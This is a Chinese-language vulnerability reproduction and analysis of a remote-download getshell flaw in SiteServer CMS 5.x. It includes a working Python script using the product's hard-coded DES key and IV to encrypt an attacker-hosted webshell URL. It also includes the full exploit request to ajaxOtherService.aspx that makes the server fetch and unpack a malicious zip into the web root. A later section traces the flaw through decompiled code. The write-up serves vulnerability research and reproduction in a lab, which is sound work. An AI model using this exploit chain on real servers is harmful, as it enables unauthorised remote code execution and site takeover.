SiteServer CMS 5.x 漏洞复现&分析
0x01 漏洞背景
该漏洞是由于5.x的密钥是硬编码在config文件中,且downloadurl存在未授权访问,导致可以从远程下载压缩包文件并解压到web目录,因此可以通过构造恶意的jsp包打包成的压缩文件进行getshell。
已知漏洞公开链接:
https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell
下载链接:
http://download.siteserver.cn/5.0/siteserver_install.zip
环境:
操作系统: winserver2008
web服务器: iis7.0
数据库: mssql2005
.net环境: 4.5+
安装:
Win2008 配置iisweb,将siteserver_install解压后的文件放到web根目录下,访问siteserver路径自动跳转安装
0x02 漏洞利用
原github上的poc的利用,由于github做了一些下载的限制,因此需要重新更换poc的链接。重新进行加解密
该加解密算法的python版本为
from pyDes import *
import base64
iv = "\x12\x34\x56\x78\x90\xAB\xCD\xEF"
key = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"
input_str = "http://192.168.52.2:8000/webshell/poxteam.zip"
#encrypt
k = des(key[0:8], CBC, iv,pad=None, padmode=PAD_PKCS5)
a = k.encrypt(input_str)
c = base64.b64encode(a)
d = c.replace("+", "0add0").replace("=", "0equals0").replace("&", "0and0").replace("?", "0question0").replace("/", "0slash0")
print d
#decrypt
en = d.replace("0add0","+").replace("0equals0","=" ).replace("0and0","&" ).replace("0question0","?").replace("0slash0","/")
#en = "ZjYIub/YxA2hc47NUFitAa/c/WMcuk7GQ4+P+eVq1v9u/TV3zrsdlbmZpWolkpKR"
b64en = base64.b64decode(en)
t = k.decrypt(b64en)
print t
生成的加密字符串进行利用,该利用的接口如下,主要更换downloadUrl的值即可
http://192.168.52.8/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2hc47NUFitAa0slash0c0slash0WMcuk7GQ40add0P0add0eVq1v9u0slash0TV3zrsdlbmZpWolkpKR&directoryName=sectest
相应也需要提前部署好对应的下载的压缩包的服务器地址。
http://192.168.52.2:8000/webshell/poxteam.zip
0x03 漏洞分析
根据poc中的地址,先看SiteServer/Ajax/ajaxOtherService.aspx触发点
但在全局中并没有找到相关连的代码,作者在freebuf中直接贴了c#的代码,本人去翻了一遍ajaxBackupService.cs没搜到,最后发现bin目录下有很多dll,借助工具进行逆向,工具地址如下
https://github.com/icsharpcode/ILSpy
将dll拖到工具中进行逆向,定位到ajaxOtherService
根据参数type=SiteTemplateDownload,跟进Page_load方法的SiteTemplateDownload条件中。对url进行解密
解密方法为先替换关键词,接着进行des解密
从一下路径中获取配置文件中的加密的key的值
跟进DesDecrypt方法找出iv的值
最后进行解密后,传入SiteTemplateDownload方法,下载远程压缩文件,解压到固定路径下+传入的路径名。
下载成功后,访问路径的webshell
0x04 参考链接
http://www.zzvips.com/article/108575.html
https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell